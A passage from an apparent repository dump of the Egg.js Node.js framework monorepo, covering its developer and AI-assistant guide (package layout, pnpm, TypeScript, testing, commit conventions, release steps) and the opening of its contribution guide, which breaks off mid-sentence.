request correlation\n    - Supports custom tracer implementations via Class configuration\n    - Integrates with application and agent processes for full tracing coverage\n  - `typebox-validate/` - TypeBox validation plugin (merged from egg-typebox-validate)\n    - Provides schema validation for TypeScript Egg projects\n    - Built on Ajv with TypeBox schema definitions\n    - Extends context with tValidate() and tValidateWithoutThrow() methods\n    - Includes decorator support for controller validation\n    - Supports custom formats and validation rules\n    - Re-exports TypeBox for schema definitions\n  - `redis/` - Redis/Valkey plugin (merged from @eggjs/redis)\n    - Provides Redis and Valkey client integration for Egg applications\n    - Built on ioredis for full Redis feature support\n    - Supports single instance, cluster, and sentinel configurations\n    - Multi-client support with singleton pattern\n    - Weak dependency mode for optional Redis connections\n    - Extends Application and Agent with redis property\n- **`packages/skills/`** - AI agent skills for Egg framework (@eggjs/skills)\n  - Pure markdown documentation package (no source code)\n  - Provides structured guidance for AI assistants working with Egg\n  - `egg/` - Entry point skill that routes to specialized skills\n  - `egg-controller/` - Controller implementation skill (HTTP, MCP, Schedule)\n  - `egg-core/` - Core framework concepts skill (modules, DI, lifecycle)\n- **`examples/`** - Example applications\n  - `helloworld-commonjs/` - CommonJS example\n  - `helloworld-typescript/` - TypeScript example\n- **`tools/egg-bin/`** - CLI development tool package (@eggjs/bin)\n  - `src/` - TypeScript source code for CLI commands\n  - `test/` - Comprehensive test suite with mocha\n- **`site/`** - Documentation website built with VitePress v2\n\n### Core Architecture (packages/egg/)\n\n- **`src/lib/`** - Core framework classes and utilities\n  - `application.ts` - Main Application class extending EggApplicationCore\n  - `agent.ts` - Agent process manager\n  - `egg.ts` - Core EggApplicationCore with shared functionality\n  - `start.ts` - Application startup logic for cluster/single mode\n- **`src/app/extend/`** - Framework extensions (context, helper, request, response)\n- **`src/config/`** - Default configurations and plugins\n- **`src/lib/core/`** - Core components (httpclient, logger, messenger, base classes)\n- **`src/lib/loader/`** - Application loaders (AppWorkerLoader, AgentWorkerLoader)\n\n### Key Classes\n\n- **EggApplicationCore** - Base application class with core functionality\n- **Application** - Main app class for worker processes\n- **Agent** - Agent process class for background tasks\n- **Context** - Extended Koa context with Egg-specific features\n- **BaseContextClass** - Base for controllers, services, subscriptions\n- **AppWorkerLoader/AgentWorkerLoader** - Load app components in convention order\n\n### Loading Convention\n\nThe framework follows a specific loading order:\n\n1. Plugin system\n2. Configurations\n3. Application/Request/Response/Context extensions\n4. Custom loaders\n5. Services\n6. Middlewares\n7. Controllers\n8. Router\n\n## Development Commands\n\n### Monorepo Management\n\n- `pnpm install` - Install dependencies for all packages\n- `pnpm -r run <script>` - Run script in all packages\n- `pnpm --filter=<package> run <script>` - Run script in specific package\n\n### Testing\n\n- `pnpm test` - Run tests in all packages\n- `pnpm --filter=egg run test` - Test main egg package\n- `pnpm --filter=@eggjs/extend2 test` - Test extend2 package with vitest\n- `pnpm --filter=@eggjs/bin test` - Test egg-bin CLI tool package\n\n### Build & Lint\n\n- `pnpm -r run build` - Build all packages\n- `pnpm -r run clean` - Clean dist directories in all packages\n- `pnpm -r run typecheck` - Run TypeScript type checking with `tsc --noEmit`\n- `pnpm lint` - Run oxlint with type-aware checking in all packages\n- `pnpm lint:fix` - Auto-fix linting issues with oxlint\n\n### Examples\n\n- `pnpm run example:commonjs` - Run CommonJS example\n- `pnpm run example:typescript` - Run TypeScript example\n\n### Documentation Site\n\n- `pnpm run site:dev` - Start VitePress documentation development server\n- `pnpm run site:build` - Build VitePress documentation site\n- `pnpm run site:preview` - Preview built documentation site\n- `pnpm run puml` - Generate PlantUML diagrams\n\n## Key Configuration Files\n\n- **`pnpm-workspace.yaml`** - pnpm workspace configuration with catalog dependencies\n- **`package.json`** - Root monorepo configuration with pnpm scripts\n- **`tsconfig.json`** - Root TypeScript configuration for all packages (extends @eggjs/tsconfig)\n- **`packages/egg/package.json`** - Main egg package with hybrid CommonJS/ESM exports\n- **`packages/egg/tsconfig.json`** - Extends workspace root tsconfig.json\n- **`packages/egg/tsdown.config.ts`** - tsdown build configuration for unbundled ESM output\n- **`packages/egg/src/config/plugin.ts`** - Built-in plugin configurations\n- **`packages/egg/src/config/config.default.ts`** - Default framework configuration\n\n### pnpm Catalog Usage\n\nAll packages use pnpm catalog mode for centralized dependency management:\n\n- Dependencies are defined once in `pnpm-workspace.yaml` catalog\n- Individual packages reference them using `\"package-name\": \"catalog:\"`\n- This ensures consistent versions across all packages in the monorepo\n- Easy to update versions in one place\n\n## Framework Concepts\n\n### Plugin System\n\nEgg uses a powerful plugin system where plugins are loaded before application code. Each plugin can extend the framework's functionality and is configured in `config/plugin.js`.\n\n### Cluster vs Single Mode\n\n- **Cluster Mode** (default) - Multi-process with master, agent, and worker processes\n- **Single Mode** - Single process for development/testing\n\n### Loader Pattern\n\nThe framework uses a convention-based loader system that automatically discovers and loads:\n\n- Extensions (app/extend/\\*)\n- Services (app/service/\\*)\n- Controllers (app/controller/\\*)\n- Middlewares (app/middleware/\\*)\n- Configurations (config/\\*)\n\n### Context Extensions\n\nThe framework extends Koa's context with Egg-specific features:\n\n- `ctx.service` - Access to service classes\n- `ctx.helper` - Utility helper functions\n- `ctx.logger` - Request-scoped logger\n- `ctx.cookies` - Enhanced cookie handling\n- `ctx.curl()` - HTTP client methods\n\n## Working with the Monorepo\n\n### Adding Features\n\n1. Work primarily in the `packages/egg/` directory for core framework features\n2. Understand the loading order and conventions\n3. Follow the plugin system for extensible features\n4. Use BaseContextClass for context-aware components\n5. Add comprehensive tests in `packages/egg/test/` directory\n\n### Adding New Packages\n\n1. Create new directory under:\n   - `packages/` - for core framework packages\n   - `plugins/` - for Egg plugins\n   - `tools/` - for development tools\n2. Add package.json with workspace dependencies using `workspace:*`\n3. Create minimal TypeScript config files:\n   - `tsconfig.json` → `{\"extends\": \"../../tsconfig.json\"}`\n4. Add package reference to root tsconfig.json `references` array\n5. Update root pnpm-workspace.yaml if needed (plugins/\\* is already included)\n6. **CRITICAL: Run `pnpm install` and commit the updated `pnpm-lock.yaml`** — CI uses `--frozen-lockfile` and will fail immediately if the lockfile is out of sync with any package.json\n7. Use `pnpm --filter=<package>` for package-specific commands\n\n### Plugin Packages Structure\n\nAll Egg framework plugins should be placed in the `plugins/` directory:\n\n- **`plugins/development/`** - Development environment plugin\n  - Provides auto-reload and development tools\n  - Only active in local environment\n  - Watches file changes and automatically restarts workers\n- Follow standard Egg plugin structure with:\n  - `src/` - TypeScript source code\n  - `test/` - Test suite (use Vitest for new plugins)\n  - `package.json` with `eggPlugin` configuration\n  - `tsdown.config.ts` - Only needed if custom build options required (see below)\n\n#### tsdown Workspace Configuration\n\n**This monorepo uses tsdown workspace mode** for build configuration. The root `/tsdown.config.ts` defines shared defaults for all packages:\n\n- `entry: 'src/**/*.ts'` - Processes all TypeScript files in src directory\n- `unbundle: true` - Creates unbundled output (preserves file structure)\n- `dts: true` - Generates TypeScript declaration files\n- `exports.devExports: true` - Enables development-friendly exports\n- `unused.level: 'error'` - Error on unused dependencies\n- `publint` - Package linting enabled\n\n**Most plugins do NOT need a `tsdown.config.ts` file** - they inherit all settings from the root workspace config.\n\n**Only create a `tsdown.config.ts` if you need custom options** (e.g., copy assets, custom entry points, ignore unused deps):\n\n```typescript\n// plugins/[plugin-name]/tsdown.config.ts - ONLY if custom options needed\nimport { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  // Only specify options that differ from workspace defaults\n  copy: [\n    {\n      from: 'src/assets/template.html',\n      to: 'dist/assets',\n    },\n  ],\n});\n```\n\n#### Standard Plugin TypeScript Types\n\n**IMPORTANT: All plugins MUST define a `src/types.ts` file** that extends the Egg module declarations:\n\n```typescript\n// plugins/[plugin-name]/src/types.ts\nimport type { PluginConfig } from './config/config.default.ts';\n// Import other necessary types from the plugin\n\ndeclare module 'egg' {\n  // Extend EggAppConfig with plugin configuration\n  interface EggAppConfig {\n    [pluginName]: PluginConfig;\n  }\n\n  // Extend Application if the plugin adds application-level features\n  interface Application {\n    // Add application extensions\n  }\n\n  // Extend Context if the plugin adds context-level features\n  interface Context {\n    // Add context extensions\n  }\n\n  // Extend other interfaces as needed (Request, Response, Helper, etc.)\n}\n```\n\nKey requirements for plugin types:\n\n- **Must use module augmentation** - Extend the 'egg' module using `declare module 'egg'`\n- **Export configuration types** - Define and extend `EggAppConfig` with the plugin's configuration\n- **Extend appropriate interfaces** - Add type definitions to Application, Context, Request, Response, or Helper as needed\n- **Import from relative paths** - Use `.ts` extensions in imports for proper TypeScript resolution\n- **Document properties** - Add JSDoc comments for configuration properties\n\nExample from the view plugin:\n\n```typescript\n// plugins/view/src/types.ts\nimport type { ViewConfig } from './config/config.default.ts';\nimport type { ContextView } from './lib/context_view.ts';\nimport type { RenderOptions, ViewManager } from './lib/view_manager.ts';\n\ndeclare module 'egg' {\n  interface EggAppConfig {\n    view: ViewConfig;\n  }\n\n  interface Application {\n    get view(): ViewManager;\n  }\n\n  interface Context {\n    view: ContextView;\n    render(name: string, locals?: Record<string, any>, options?: RenderOptions): Promise<void>;\n    renderView(name: string, locals?: Record<string, any>, options?: RenderOptions): Promise<string>;\n    renderString(tpl: string, locals?: Record<string, any>, options?: RenderOptions): Promise<string>;\n  }\n}\n```\n\n#### Standard Plugin package.json Configuration\n\nPlugins should configure their package.json following this pattern:\n\n```json\n{\n  \"type\": \"module\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./package.json\": \"./package.json\"\n    // Add other entry points as needed\n  },\n  \"publishConfig\": {\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./package.json\": \"./package.json\"\n      // Mirror the exports structure for published package\n    }\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"files\": [\"dist\"],\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\",\n    \"test\": \"vitest run\"\n  }\n}\n```\n\nKey points:\n\n- **All plugins must include egg in peerDependencies** - Ensures compatibility with the framework\n- Development uses TypeScript sources directly (`./src/*.ts`)\n- Published packages use compiled JavaScript (`./dist/*.js`)\n- The `publishConfig.exports` overrides `exports` during npm publish\n- All plugins must include `build`, `clean`, and `prepublishOnly` scripts\n\n### Skills Package Structure\n\n- **`packages/skills/`** - AI agent skills for Egg framework (@eggjs/skills)\n  - 纯 markdown 文档包，指导 AI 助手使用 Egg 框架\n  - `egg/` — 入口 skill，路由到专业 skill\n  - `egg-core/` — 核心概念：模块、依赖注入、生命周期\n  - `egg-controller/` — 控制器：HTTPController、MCPController、Schedule、Ajv 校验\n  - `eval/` — 评测用例和输出\n  - Skill 编写规范、评测流程等详见 `packages/skills/CLAUDE.md`\n\n### Tool Packages Structure\n\nTool packages (like egg-bin) should be placed in the `tools/` directory:\n\n- **`tools/egg-bin/`** - CLI development tool providing dev, test, and coverage commands\n- Built with @oclif/core framework for robust CLI functionality\n- Supports TypeScript compilation and execution for Egg.js applications\n- Includes comprehensive testing with Mocha and fixtures\n- Uses tsdown for TypeScript compilation to maintain fast development builds\n\n### Testing Strategy\n\n- **IMPORTANT: All new packages MUST use Vitest for testing** - this is the standard test runner for the monorepo\n- **Exception: egg-bin and cookies use Mocha** - these packages use Mocha for consistency with their testing patterns\n- Use `pnpm --filter=egg run test` for framework tests\n- Test fixtures are in `packages/egg/test/fixtures/apps/`\n- Create apps in fixtures to test specific scenarios\n- Use `pnpm test` to run tests across all packages\n- Follow existing test patterns for consistency\n\n#### Linting and Type Checking Strategy\n\n- **All packages must include TypeScript type checking** - Use `tsc --noEmit` in `typecheck` script\n- **All packages use oxlint for linting** - No ESLint configurations should be present\n- Use `oxlint --type-aware` for enhanced TypeScript checking\n- oxlint automatically respects `.gitignore` patterns for file exclusion\n- Package-specific scripts:\n  - `\"typecheck\": \"tsgo --noEmit\"` - Pure TypeScript type checking\n  - `\"lint\": \"oxlint --type-aware\"` - Linting with type awareness\n- Remove any `.eslintrc` or `.eslintrc.js` files when migrating packages\n\n#### Vitest Configuration\n\n- Each package should include a `vitest.config.ts` file for test configuration\n- Import test functions from vitest: `import { describe, it } from 'vitest'`\n- Use standard assertions with Node.js built-in `assert` module\n- Test files should follow the pattern `test/**/*.test.ts`\n\n#### Mocha Configuration (egg-bin only)\n\n- The egg-bin package uses Mocha for CLI command testing\n- Test files follow the pattern `test/**/*.test.ts`\n- Uses comprehensive fixtures in `test/fixtures/` for testing various scenarios\n- Includes Coffee.js for process testing and assertion helpers\n\n### TypeScript Support\n\n- Both `packages/egg/` and `packages/core/` written in TypeScript with strict mode\n- Uses tsdown for unbundled ESM builds (faster development, preserves file structure)\n- Each package configured with `tsdown.config.ts` for optimal build settings\n- Type definitions are exported for framework users\n- Examples support both .js and .ts application files\n- Cross-package TypeScript references configured for proper module resolution\n\n#### TypeScript Configuration Requirements\n\n**IMPORTANT: The monorepo uses a standardized TypeScript configuration pattern where all sub-projects extend from the workspace root.**\n\n**Root Configuration Files:**\n\n- `tsconfig.json` - Base TypeScript configuration for all packages\n  - Extends from `@eggjs/tsconfig` with common compiler options\n  - Uses `${configDir}` variable for dynamic path resolution\n  - Includes project `references` array listing all sub-packages\n  - Sets `composite: true` and `incremental: true` for project references\n\n**Sub-Project Configuration Pattern:**\n\nAll packages, plugins, and tools MUST follow this minimal pattern:\n\n```json\n// packages/*/tsconfig.json, plugins/*/tsconfig.json, tools/*/tsconfig.json\n{\n  \"extends\": \"../../tsconfig.json\"\n}\n```\n\n**Key Requirements:**\n\n- **Keep it minimal** - Sub-project configs should ONLY contain the `extends` field\n- **No additional options** - Don't add `compilerOptions`, `baseUrl`, or other settings\n- **Centralized configuration** - All settings are managed at the workspace root\n- **Use ${configDir}** - Root configs use this variable for per-package path resolution\n- **Update references** - When adding new packages, add them to root tsconfig.json `references` array\n\nThis approach ensures:\n\n- Consistent TypeScript configuration across all 31+ sub-projects\n- Easy maintenance (change once at root, applies everywhere)\n- Proper TypeScript project references for fast builds\n- Clean and readable per-package configuration files\n\n### Documentation\n\n- Main docs are in the `site/` directory using VitePress v2\n- Documentation structure:\n  - `site/.vitepress/config.mts` - VitePress configuration with i18n support\n  - `site/docs/` - English documentation (root locale)\n  - `site/docs/zh-CN/` - Chinese documentation\n  - `site/docs/public/` - Static assets (images, logos, etc.)\n- VitePress features:\n  - Full i18n support (English and Chinese)\n  - Clean URLs without .html extension\n  - Local search built-in\n  - Responsive design and dark mode support\n- Examples are in the `examples/` directory\n- Use `pnpm run site:dev` to work on documentation\n- Plugin documentation follows the standardized format\n\n### Workspace Dependencies\n\n- Use `workspace:*` for internal package dependencies\n- Use `catalog:` for external dependencies defined in pnpm-workspace.yaml\n- All packages share common devDependencies from root\n- pnpm automatically handles workspace linking\n\n### Managing Catalog Dependencies\n\n- Add new dependencies to the `catalog` section in `pnpm-workspace.yaml`\n- Organize by category (linting, build tools, testing, etc.)\n- Update versions in one place to keep consistency across packages\n- Use `pnpm update --latest` to update catalog entries\n- Reference catalog entries in individual packages with `\"package-name\": \"catalog:\"`\n\n## Code Style and Quality\n\n### Linting and Formatting\n\n- **TypeScript Compiler (tsc)** - Type checking with `tsc --noEmit`\n  - Ensures type safety without generating output files\n  - Run `pnpm -r run typecheck` for all packages\n- **oxlint** - Fast, type-aware linter used across all packages\n  - Provides additional linting rules beyond TypeScript checking\n  - Significantly faster than ESLint with comparable rules\n  - Uses `--type-aware` flag for enhanced TypeScript analysis\n- **oxfmt** - Code formatting (primarily for documentation)\n- Run `pnpm lint` to check code quality with oxlint\n- Run `pnpm lint:fix` to auto-fix linting issues\n- Each package uses oxlint which automatically respects `.gitignore` patterns\n\n### TypeScript Best Practices\n\n- Enable strict mode in all TypeScript packages\n- Use explicit return types for public APIs\n- Prefer interfaces over type aliases for object shapes\n- Use readonly modifiers where appropriate\n- Avoid `any` type; use `unknown` when type is truly unknown\n\n### TypeScript isolatedDeclarations Support\n\n**IMPORTANT: All packages in this monorepo support TypeScript's `--isolatedDeclarations` flag**, which enables faster type checking and better DTS generation.\n\n#### Requirements for isolatedDeclarations\n\nWhen writing code, you MUST follow these patterns:\n\n1. **Explicit Return Types**: All exported functions, methods, and getters must have explicit return type annotations\n\n   ```typescript\n   // ✅ Good\n   export function getData(): Promise<string> { ... }\n   export class Foo {\n     getBar(): string { ... }\n   }\n\n   // ❌ Bad - missing return type\n   export function getData() { ... }\n   ```\n\n2. **Config File Exports**: Use typed intermediate variables for tsdown and vitest configs\n\n   ```typescript\n   // tsdown.config.ts\n   import { defineConfig, type UserConfig } from 'tsdown';\n\n   const config: UserConfig = defineConfig({...});\n   export default config;\n\n   // vitest.config.ts\n   import { defineProject, type UserWorkspaceConfig } from 'vitest/config';\n\n   const config: UserWorkspaceConfig = defineProject({...});\n   export default config;\n   ```\n\n3. **Symbol-Based Properties**: Avoid computed property names with symbols in class declarations\n\n   ```typescript\n   // ✅ Good - use override methods\n   protected override customEggLoader(): typeof AppWorkerLoader {\n     return AppWorkerLoader;\n   }\n\n   // ❌ Bad - computed property not supported\n   get [EGG_LOADER]() { return AppWorkerLoader; }\n   ```\n\n4. **Explicit Property Types**: Add type annotations for class properties when needed\n\n   ```typescript\n   // ✅ Good\n   Helper: typeof Helper = Helper;\n   mockRestore: typeof restore = restore;\n\n   // ❌ Bad - missing type annotation\n   mockRestore = restore;\n   ```\n\n5. **Symbol Constants**: Use `unique symbol` type for exported symbols\n\n   ```typescript\n   // ✅ Good\n   export const MY_SYMBOL: unique symbol = Symbol('my-symbol');\n\n   // ❌ Bad - missing type annotation\n   export const MY_SYMBOL = Symbol('my-symbol');\n   ```\n\n#### Exceptions\n\n- **@oclif CLI tools** (tools/egg-bin, tools/scripts) have `isolatedDeclarations: false` in their tsconfig.json because @oclif's Flags API is incompatible with this strict mode\n\n### Code Coverage Requirements\n\n- Maintain high test coverage (>90% for core packages)\n- Use `pnpm --filter=<package> run cov` to generate coverage reports\n- Coverage reports are generated in `coverage/` directory\n- Critical paths must have 100% coverage\n\n## Debugging and Development Tips\n\n### Running in Debug Mode\n\n```bash\n# Debug main application\nNODE_OPTIONS='--inspect' pnpm --filter=egg run dev\n\n# Debug tests\nNODE_OPTIONS='--inspect-brk' pnpm --filter=egg run test\n\n# Debug specific test file\nNODE_OPTIONS='--inspect-brk' pnpm --filter=egg run test test/app/extend/context.test.ts\n```\n\n### Environment Variables\n\n- `EGG_SERVER_ENV` - Set server environment (local/test/prod)\n- `NODE_ENV` - Node environment (development/production)\n- `EGG_TYPESCRIPT` - Enable TypeScript support (true/false)\n- `DEBUG` - Enable debug output (egg:\\*)\n\n### Debugging E2E Tests Locally\n\nThe `ecosystem-ci/` directory contains E2E test infrastructure for downstream projects (e.g., cnpmcore). To reproduce and debug E2E failures locally:\n\n```bash\n# 1. Build all monorepo packages\npnpm run build\n\n# 2. Pack all packages as tgz files (placed at workspace root)\npnpm -r pack\n\n# 3. Clone the downstream project into ecosystem-ci/\ngit clone https://github.com/cnpmjs/cnpmcore.git ecosystem-ci/cnpmcore\n\n# 4. Patch the project's package.json with local tgz overrides\nnpx tsx ecosystem-ci/patch-project.ts cnpmcore\n\n# 5. Install (clean cache to avoid stale tgz)\ncd ecosystem-ci/cnpmcore\nnpm cache clean --force\nnpm install\n\n# 6. Run tests\nnpm run clean\nnpx egg-bin test test/path/to/specific.test.ts\n```\n\nAfter making changes to monorepo packages, repeat steps 1-5 (build → pack → patch → clean install).\n\n**Key files:**\n\n- `ecosystem-ci/patch-project.ts` - Generates `overrides` field in target project's package.json pointing to local tgz files\n- `ecosystem-ci/repo.json` - Defines which downstream projects can be tested\n- `.github/workflows/e2e-test.yml` - CI workflow that runs E2E tests with MySQL/Redis services\n\n### Common Development Patterns\n\n#### Creating a New Service\n\n```typescript\n// app/service/example.ts\nimport { Service } from 'egg';\n\nexport default class ExampleService extends Service {\n  async getData(id: string) {\n    const result = await this.ctx.curl(`/api/data/${id}`);\n    return result.data;\n  }\n}\n```\n\n#### Creating a New Controller\n\n```typescript\n// app/controller/example.ts\nimport { Controller } from 'egg';\n\nexport default class ExampleController extends Controller {\n  async index() {\n    const { ctx } = this;\n    const data = await ctx.service.example.getData('123');\n    ctx.body = { success: true, data };\n  }\n}\n```\n\n#### Creating a New Middleware\n\n```typescript\n// app/middleware/example.ts\nimport { Context, Next } from 'egg';\n\nexport default function exampleMiddleware() {\n  return async (ctx: Context, next: Next) => {\n    const start = Date.now();\n    await next();\n    ctx.set('X-Response-Time', `${Date.now() - start}ms`);\n  };\n}\n```\n\n## Performance Optimization\n\n### Build Optimization\n\n- Use `pnpm -r run build --parallel` for parallel builds\n- tsdown provides fast unbundled builds\n- Use `pnpm run clean` before builds to ensure clean state\n\n### Runtime Optimization\n\n- Use cluster mode for production deployments\n- Configure worker count based on CPU cores\n- Enable graceful shutdown for zero-downtime deployments\n- Use agent process for background tasks\n\n### Memory Management\n\n- Monitor memory usage with built-in metrics\n- Use weak references for caches when appropriate\n- Implement proper cleanup in lifecycle hooks\n- Avoid global state in worker processes\n\n## Troubleshooting Guide\n\n### Common Issues\n\n#### Package Resolution Issues\n\n```bash\n# Clear pnpm cache\npnpm store prune\n\n# Reinstall dependencies\nrm -rf node_modules pnpm-lock.yaml\npnpm install\n```\n\n#### TypeScript Build Errors\n\n```bash\n# Clean all build artifacts\npnpm -r run clean\n\n# Check TypeScript types across all packages\npnpm -r run typecheck\n\n# Check TypeScript configuration for specific package\npnpm --filter=<package> run typecheck\n\n# Rebuild TypeScript references\npnpm run build:ts\n```\n\n#### Test Failures\n\n```bash\n# Run tests with verbose output\npnpm --filter=<package> run test -- --verbose\n\n# Run specific test file\npnpm --filter=egg run test test/app/extend/context.test.ts\n\n# Debug test with inspector\nNODE_OPTIONS='--inspect-brk' pnpm --filter=egg run test\n```\n\n### Development Workflow Issues\n\n- **Auto-reload not working**: Check if development plugin is enabled\n- **Port already in use**: Change port in config or kill existing process\n- **Module not found**: Ensure proper workspace linking with `pnpm install`\n- **Type errors in IDE**: Restart TypeScript service or reload window\n\n## Security Considerations\n\n### Framework Security Features\n\n- Built-in CSRF protection\n- XSS prevention helpers\n- SQL injection protection via parameterized queries\n- Security headers middleware\n- Cookie encryption and signing\n\n### Security Best Practices\n\n- Never expose sensitive configuration in logs\n- Use environment variables for secrets\n- Validate all user inputs\n- Implement rate limiting for APIs\n- Regular dependency updates via `pnpm update`\n\n## Migration Guide\n\n### Migrating from ESLint to oxlint\n\n1. Remove ESLint dependencies from package.json:\n   - Remove `eslint`, `eslint-config-egg`, and any ESLint plugins\n   - Add `\"oxlint\": \"catalog:\"` to devDependencies\n2. Delete `.eslintrc`, `.eslintrc.js`, or `.eslintrc.json` files\n3. Update scripts in package.json:\n   - Add `\"typecheck\": \"tsgo --noEmit\"` for TypeScript type checking\n   - Change `\"lint\": \"eslint ...\"` to `\"lint\": \"oxlint --type-aware\"`\n   - Add `\"lint:fix\": \"npm run lint -- --fix\"`\n4. Ensure both type checking and linting are run:\n   - Use `tsc --noEmit` for pure TypeScript type checking\n   - Use `oxlint --type-aware` for additional linting rules\n5. Run `pnpm install` to update dependencies\n\n### Migrating from Egg v2 to v3\n\n1. Update Node.js to v22.18.0+ (required minimum version)\n2. Migrate to ESM syntax where applicable\n3. Update plugin configurations\n4. Review breaking changes in CHANGELOG.md\n5. Run tests to identify compatibility issues\n\n### Converting CommonJS to ESM\n\n1. Add `\"type\": \"module\"` to package.json\n2. Change `require()` to `import`\n3. Change `module.exports` to `export`\n4. Update file extensions to `.mjs` if needed\n5. Update tsconfig.json module settings\n\n## Release Process\n\n### Version Management\n\n- Follow [Semantic Versioning](https://semver.org/)\n- Update CHANGELOG.md with release notes\n- Use conventional commits for automatic changelog generation\n\n### Publishing Packages\n\n```bash\n# Build all packages\npnpm -r run build\n\n# Run tests\npnpm test\n\n# Bump versions\npnpm changeset\n\n# Publish to npm\npnpm changeset publish\n```\n\n## Commit Message Format\n\n**IMPORTANT: All commits MUST follow the [Angular Commit Message Format](https://github.com/angular/angular.js/blob/master/DEVELOPERS.md#-git-commit-guidelines) as specified in CONTRIBUTING.md.**\n\n### Format Structure\n\n```\n<type>(<scope>): <subject>\n<BLANK LINE>\n<body>\n<BLANK LINE>\n<footer>\n```\n\n### Required Types\n\n- **feat**: A new feature\n- **fix**: A bug fix\n- **docs**: Documentation-only changes\n- **style**: Changes that do not affect the meaning of the code (white-space, formatting, missing semi-colons, etc)\n- **refactor**: A code change that neither fixes a bug nor adds a feature\n- **perf**: A code change that improves performance\n- **test**: Adding missing tests\n- **chore**: Changes to the build process or auxiliary tools and libraries such as documentation generation\n- **deps**: Updates about dependencies\n\n### Scope Guidelines\n\n- Use package names for package-specific changes: `core`, `mock`, `cluster`, `utils`, etc.\n- Use feature areas for cross-package changes: `loader`, `plugin`, `config`, etc.\n- Use component names for specific functionality: `application`, `agent`, `context`, etc.\n\n### Subject Guidelines\n\n- Use succinct words to describe what you did in the commit change\n- Use imperative, present tense: \"change\" not \"changed\" nor \"changes\"\n- Don't capitalize first letter\n- No period (.) at the end\n\n### Body Guidelines (Optional)\n\n- Add more content if the subject is not self-explanatory enough\n- Explain the purpose or reason for the commit\n- Include motivation for the change and contrasts with previous behavior\n\n### Footer Guidelines\n\n- **Breaking Changes**: Note clearly with \"BREAKING CHANGE:\" prefix\n- **Related Issues**: Use format like \"Closes #1, Closes #2, #3\"\n- **Cross-references**: Reference related repos like \"eggjs/egg-core#123\"\n\n### Examples\n\n```\nfeat(core): add support for async configuration loading\n\nAllow configuration files to export async functions for dynamic config loading.\nThis enables loading configuration from external services or databases.\n\nCloses #123\n```\n\n```\nfix(mock): resolve memory leak in test cleanup\n\nThe mock cleanup process was not properly disposing of event listeners,\ncausing memory leaks during test runs.\n\nFixes #456\n```\n\n```\ndocs(tsconfig): update README with vitest integration examples\n\nAdd examples showing how to configure vitest with the tsconfig package.\nInclude setup instructions and common configuration patterns.\n```\n\n## Contributing Guidelines\n\n### Getting Started\n\n1. Fork the repository\n2. Clone your fork: `git clone https://github.com/YOUR_USERNAME/egg.git`\n3. Install dependencies: `pnpm install`\n4. Create a feature branch: `git checkout -b feature/your-feature`\n5. Make changes and add tests\n6. Run tests: `pnpm test`\n7. Submit a pull request\n\n### Pull Request Process\n\n1. Ensure all tests pass\n2. Update documentation if needed\n3. Follow commit message format\n4. Request review from maintainers\n5. Address review feedback promptly\n\n### Code Review Checklist\n\n- [ ] Tests added/updated for changes\n- [ ] Documentation updated\n- [ ] Commit messages follow convention\n- [ ] No breaking changes without discussion\n- [ ] Performance impact considered\n- [ ] Security implications reviewed\n\n## Resources and Links\n\n### Official Documentation\n\n- [Egg.js Official Website](https://www.eggjs.org/)\n- [API Documentation](https://www.eggjs.org/api/)\n- [Plugin Directory](https://github.com/eggjs/awesome-egg)\n\n### Community\n\n- [GitHub Discussions](https://github.com/eggjs/egg/discussions)\n- [Discord Server](https://discord.gg/eggjs)\n- [Stack Overflow Tag](https://stackoverflow.com/questions/tagged/eggjs)\n\n### Related Projects\n\n- [Koa.js](https://koajs.com/) - Underlying web framework\n- [Midway.js](https://midwayjs.org/) - Enterprise Node.js framework\n- [Think.js](https://thinkjs.org/) - Alternative Node.js framework\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "English | [简体中文](./CONTRIBUTING.zh-CN.md)\n\n# Contribution Guide\n\nIf you have any comment or advice, please report your [issue](https://github.com/eggjs/egg/issues),\nor make any change as you wish and submit a [PR](https://github.com/eggjs/egg/pulls). For day-to-day workflows, consult the [Repository Guidelines](AGENTS.md).\n\n## Reporting New Issues\n\n- Please specify what kind of issue it is.\n- Before you report an issue, please search for related issues. Make sure you are not going to open a duplicate issue.\n- Explain your purpose clearly in tags(see **Useful Tags**), title, or content.\n\nEgg group members will confirm the purpose of the issue, replace more accurate tags for it, identify related milestone, and assign developers working on it.\nTags can be divided into two groups, `type` and `scope`.\n\n- type: What kind of issue, e.g. `feature`, `bug`, `documentation`, `performance`, `support` ...\n- scope: What did you modified. Which files are modified, e.g. `core: xx`, `plugin: xx`, `deps: xx`\n\n### Useful Tags\n\n- `support`: the issue asks helps from developers of our group. If you need helps to locate and handle problems or have any idea to improve Egg, mark it as `support`.\n- `bug`: if you find a problem which possiblly could be a bug, please tag it as `bug`. Then our group members will review that issue. If it is confirmed as a bug by our group member, this issue will be tagged as `confirmed`.\n  - A confirmed bug will be resolved prior.\n  - If the bug has negative impact on running online application, it will be tagged as `critical`, which refers to top priority, and will be fixed ASAP!\n  - A bug will be fixed from lowest necessary version, e.g. A bug needs to be fixed from 0.9.x, then this issue will be tagged as `0.9`, `0.10`, `1.0`, `1.1`, referring that the bug is required to be fixed in those versions.\n- `core: xx`: the issue is related to core, e.g. `core: loader` refers that the issue is related with `loader` config.\n- `plugin: xx`: the issue is related to plugins. e.g. `plugin: session` refers that the issue is related to `session` plugin.\n- `deps: xx`: the issue is related to `dependencies`, e.g. `deps:egg-cors` refers that the issue is related to `egg-cors`\n- `chore: documentation`: the issue is about documentation. Need to modify documentation.\n\n## Documentation\n\nAll features must be submitted along with documentations. The documentations should satify several requirements.\n\n- Documentations must clarify one or more aspects of the feature, depending on the nature of feature: what it is, why it happens and how it works.\n- It's better to include a series of procedues to explain how to fix the problem. You are also encourgaed to provide **simple, but self-explanatory** demo.\n  All demos should be compiled at [eggjs/examples](https://github.com/eggjs/examples) repository.\n- Please provide essential urls, such as application process, terminology explainations and references.\n\n## Pulling and Submitting Code\n\n### Pulling Code\n\nPlease click the \"Fork\" button in the main page of [Egg](https://github.com/eggjs/egg) to\nfork the latest code into your own repository. Then clone yours to your local machine with\nthe help of 